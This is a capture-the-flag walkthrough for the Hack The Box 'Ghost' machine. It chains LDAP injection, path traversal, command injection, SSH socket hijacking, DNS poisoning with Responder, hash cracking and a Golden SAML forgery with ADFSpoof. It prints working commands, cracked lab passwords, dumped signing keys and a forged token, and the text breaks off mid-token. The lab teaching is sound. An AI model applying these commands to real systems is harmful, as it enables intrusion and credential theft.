User Flag #
First enumeration #
Let’s start with enumeration, I usually do
nmap -A 10.10.11.24 -oA scans/first_scan -vvv
sleep 1000; nmap -A -p- 10.10.11.24 -oA scans/full_scan -vvv
First thoughts :
- It is a Windows with the usual DC ports open (DNS, Kerberos, LDAP, NetBIOS…) with the
ghost.htb
domain - It has an open MSSQL port
- It also has a remote WinRM administration port open & an RDP port open
- Port 80 and port 443 do not seem to be very interesting
- But ports 8008 and 8443 seem interesting
- 8008 a ghost web app (a wordpress-like CMS)
- 8443 a login screen using the
ghost.htb
domain
We add the ghost.htb
domain in our /etc/hosts
then :
10.10.11.24 ghost.htb
Running a quick Feroxbuster
we see that there are a lot of valid file paths including :
http://ghost.htb:8008/ghost/#/signin
- We also see that one user is named
kathryn
On the HTTPS port we get a redirection to https://federation.ghost.htb/adfs/ls/?SAMLRequest=...
We turn to the DNS :
- No zone transfer to be used
- But federation seems to be pointing to the same machine so let’s add that in the
/etc/hosts
:
- Enumerating subdomains using DNS :
dnsenum --dnsserver 10.10.11.24 --enum -p 0 -s 0 -o scans/dns_enumeration.txt -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt ghost.htb
We can see that of those the intranet
and os
subdomains are used as vhosts :
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.24:8008 -H 'Host: FUZZ.ghost.htb' -ac
Web recon #
We now have access to the “federation” login page (on port 443 with HTTP Strict Transport Security) :
- No obvious SQL injection
- Let us try LDAP injections since it’s linked to the AD, no luck either
Switching to the
Intranet
/os
pages : - The
os.ghost.htb
links to the 404 page forghost.htb
- The
intranet.ghost.htb
prompts us to login
LDAP bypass & intranet recon #
User : *
, Password *
- Now we can get that :
- The username of
kathryn
probably iskathryn.holland
, perhaps a valid account on the AD - There is a Bitbucket instance at
bitbucket.ghost.htb
and there used to be a Gitea instance, interesting ! - People here seem very underpaid :) :
- The other usernames are as follows :
- The username of
Username | Full Name | Member of |
---|---|---|
kathryn.holland | Kathryn Holland | sysadmin |
cassandra.shelton | Cassandra Shelton | sysadmin |
robert.steeves | Robert Steeves | sysadmin |
florence.ramirez | Florence Ramirez | IT |
justin.bradley | Justin Bradley | IT, Remote Management Users |
arthur.boyd | Arthur Boyd | IT |
beth.clark | Beth Clark | HR |
charles.gray | Charles Gray | HR |
jason.taylor | Jason Taylor | HR |
intranet_principal | Intranet Principal | principal |
gitea_temp_principal | Gitea_Temp Principal | principal |
LDAP injection password bruteforce to get the Gitea password #
We see that Bitbucket does not seem to be up yet but Gitea is still there, and we know one login is gitea_temp_principal
and the password in its description. So we need to get it using an LDAP injection to validate each character one by one :
- Put the following in a wordlist (LDAP is case insensitive so no need for uppercase):
for i in range(10): print(i) for i in string.ascii_lowercase: print(i)
- use the burp intruder feature :
- We get an 303 (so a hit) on the
s
: - We keep on doing this until we get :
szrr8kpc3z6onlqf
. A tool for automated attack that could have used would be ldapBrute
Gitea exploit : LFI to disclose Environment variables #
Now that we have access to the Gitea we get that :
- there are interactions between the intranet and the CMS (ghost) using the API key
DEV_INTRANET_KEY
, stored as an environment variable. - There is an API with the following public key :
a5af628828958c976a3b6cc81a
- There is some code added to the Gitea instance (very fishy, you usually do in CTFs that to introduce a vulnerability) :
- Let us take a look at the code :
- This looks like an LFI
- We try to get a well-known file :
curl -H "Accept-Version: v5.0" "http://10.10.11.24:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../../../../etc/passwd" | jq ```
- Let us take a look at the code :
proc/<pid>/environ
but as the PID is unknown we use the /proc/self which is a symbolic link to the directory of the current PID.
!@yqr!X2kxmQ.@Xe
API abuse : getting a reverse shell #
Let us now focus on the intranet API at http://intranet.ghost.htb/api-dev
The only file mentioning X-DEV-INTRANET-KEY
is http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs, and it seems to be used as we see the “new” API endpoint that may be interesting to us :
/scan
endpoint :
we try a basic command :
Let us now try command injection
rlwrap
)
SSH ControlMaster exploit #
Once on the machine it looks like we are the root of a docker container running the intranet. Nothing seems useful, apart from this startup file in /
:
We now see that there is an SSH multiplexing socket which is good new for us 😁 And we know that this quality of life improvement can also lead to session hijack. Controlpersist
specifies the time the master connection should remain open in the background, waiting for a future connection. In our case the yes
the user remains connected indefinitely.
python3 -c 'import pty; pty.spawn("/bin/bash")'
then on the machine
Ctrl+Z
stty raw -echo
fg
[Enter]
[Enter]
Exfiltrating a ticket #
Interesting let’s bring it back to our machine by running
cat /tmp/krb5cc_50 | base64 -w 0
echo -n "..." | base64 -d > ticket
We check the ticket is valid :
And see if it can get us somewhere :
Poisoning DNS record to get justin
#
Now that we have a user we can take the opportunity to poison the DNS records since one user on the blog seems to be periodically requesting an entry that does not -yet- exist :
We need to point the records for the bitbucket
subdomain to our machine :
python dnstool.py -u "GHOST.HTB\florence.ramirez" -k -a add -r bitbucket.ghost.htb -d 10.10.16.64 dc01.ghost.htb -dns-ip 10.10.11.24 -t A
We run a responder and get an immediate hit :
sudo responder -w -v -I tun0
We crack it with hashcat
:
hashcat loots/AD/justin.bradley.hashes /usr/share/wordlists/rockyou.txt
Yeah, HTB box makers really love keyboard walks 😂
We run a bloodhound :
bloodhound-python -u 'justin.bradley' -p 'Qwertyuiop1234$$' -dc ghost.htb -ns 10.10.11.24 -d ghost.htb -c all --zip
Justin seems to be a remote management user 🥳
And here we get the first flag :)
Second flag #
Trying to leverage justin
’s rights
#
Okay so this user also has a first degree outbound control :
We can leverage this using NXC’s built in gmsa dumping
Exploiting the GMSA account to forge a Golden SAML #
We can winRM and access the folders we could not before 🥳
We can also see that we’re not the first to come here 😂
Nothing of interest with this user, but now we have access to a federation service account. Let’s look into what ADFS is :
Active Directory Federation Service (AD FS) enables Federated Identity and Access Management by securely sharing digital identity and entitlements rights across security and enterprise boundaries. AD FS extends the ability to use single sign-on functionality that is available within a single security or enterprise boundary to Internet-facing applications to enable customers, partners, and suppliers a streamlined user experience while accessing the web-based applications of an organization.
Well “federation” stuff, that reminds us of one of the first subdomains we saw : federation.ghost.htb
, let’s try that one with justin.bradley@ghost.htb
and his password.
We get a redirection to https://core.ghost.htb:8443/adfs/saml/postResponse
. We see here the other AD domain that we also saw on bloodhound. Since these are 1-machine boxes let’s try adding core.ghost.htb
in the /etc/hosts
.
Great ! Now we just need to get an Administrator account 😁
Since we have access to the adfs
account let’s search for any attack that may be linked to it. I found this page which talks in quite a few details about the Golden SAML attack (I’m more of a silver type of guy, but that’s life)
We start by executing the ADFSdump binary from the evilWinRM console and get the following output :
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-] core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
We got the PFX and Private Key and can process them :
- Process the pfx
echo AAAAAQAAAAAEE[...]EUSTXxm | base64 -d > loots/adfs_gmsa/EncryptedPfx.bin
- Process the key (we need to take the second key of the above output)
echo "8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" | tr -d "-"|xxd -r -p > loots/adfs_gmsa/dkmKey.bin
- For this one there are 2 keys. It worked with the second one for me
We then install ADFSpoof. This part was a rocky one for me because neither python 3.13 nor 3.12 would work with regard to dependencies. I thus used uv to create a venv but with a specific python version :
git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
uv venv --python 3.11 # install uv with `curl -LsSf https://astral.sh/uv/install.sh | sh`
source .venv/bin/activate
uv pip install -r requirements.txt
Now let’s use it with the following arguments :
-b
The two blobsEncryptedPfx.bin
anddkmKey.bin
-s
The server’s FQDN. At first I thought it was thefederation.ghost.htb
to which we are redirected but it is actually thecore.ghost.htb
--endpoint
This is the endpoint on which we aim to use security token. We can see it by looking at the requests :- Here we can see that the federation page redirects to a
/adfs/saml/postResponse
endpoint which then after leads us to a forbidden because Justin is not admin enough.
- Here we can see that the federation page redirects to a
--nameidFormat
is the format we used to log in. Here is a page documenting that : https://docs.identityserver.com/saml2p/config-idp/configuring-nameId/- I used
transient
and thus reflected this on thenameid
parameter. But as we logged in with the email I guess it should work withformat:emailAddress
and thenameid
asAdminsitrator@...
- I used
--nameid
is in our case the User Principal Name of the user (i.e. DOMAIN\User)--rpidentifier
From what I understood this is the URL of the service also but it may be more complicated than that- Assertions
- This data is taken from the
/postResponse
request when decoding the base64 response and swapping thejustin
withAdministrator
- The
claims/upn
contains the User Principal Name and theclaims/CommonName
contains the exact name
- This data is taken from the
python ADFSpoof.py -b ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/EncryptedPfx.bin ~/Documents/HTB/Boxes/Ghost/loots/adfs_gmsa/dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST.HTB\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
We replay the login request with the forged token in order to get a session cookie :
- Token :
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfSlRFUzI5IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNS4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfODIyVFAxIiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDQtMDRUMjE6MjU6MjUuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9mZWRlcmF0aW9uLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzgyMlRQMSI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjk0RE1XSC9vUDhHOWdYNDk0OWFMUTBtVFJZbG12cW9zanM5bGIxdTFCSGc9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmQwT291VUpiMERneTdtNGJ4emR4NXd3VUp5MWJVSUtPVUlSN3pQSUxieHI4eTAydlRYcjV2R2xWTGtVbm80SDNPdE1VOERtUmx1TWpQODRYVTUzMEdxTzRaa20xVWVzdXdGUzFDR0hFVU1jeC9ZVEJSQk9VWnpyeFBsZnd2c3hrMnFOWTU3SXdrQUNnb2xOYVNqWk03d25TWlZGRFBjNWpwelFURG5pN1pkNGpXU29xN29VeVdyOU8vY0tjNlR5U2hRYWdDbjZtMGF2QlJURUdBa1JRQWxsUDd1OU5CWXNwRjVjcHFQZjEvNXlYQU9TeGVtOFlWdEdoTTFHdTJQTkd3KzRuTWV5MmZIR0Fhd0RRYVlJM1RkNzBvMnVJRitReENlcVlxT1k3ZGNtdG1EajNxbVZVZ0pUU1VmTlJ3eEo1aWE3MjNTZG9OOEYvSlJMblRPRmFmVmJwNTRUTWxLVE5lcnpKL2U1bUxwbVBzZm1JWFJoZG05cTlKN1F3SUNRTEpsZUVnRkVVeGhuOHBIYWVLams1Z094VUZKVzdQQS9ESDlwR25OSkZLU3ltb1hBQytXeXNheTNKQ2tvNjhBaGUvVjE5U09ZL0xscGI1VldndlYwR2hHUjV6YTVQbTVSU05uZGRzczczdTVSS2VaRlZuS21GK3dCeDdXR0MwWEEzWHlSUkxUeFdYem13cVR4dXFHenVDa2NrRXgzaXNwcEFkSHc3azB1NjFOQnJxUC9CZnprTUx3WktBdnNGTHlTek1jZTBkM2dXbHhZWkNzUjBGcnJpcDBVQ3FES2tFbjUybWtWNWpKZitOZzJ4OGpuYUZlVUROWVJvT2Rrb0g1dFVPeUlsV0RIcnppZUU2cU9rWk5IZnlmQmExUk5HZFBvUENSZHZaN04wSDB3PTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWX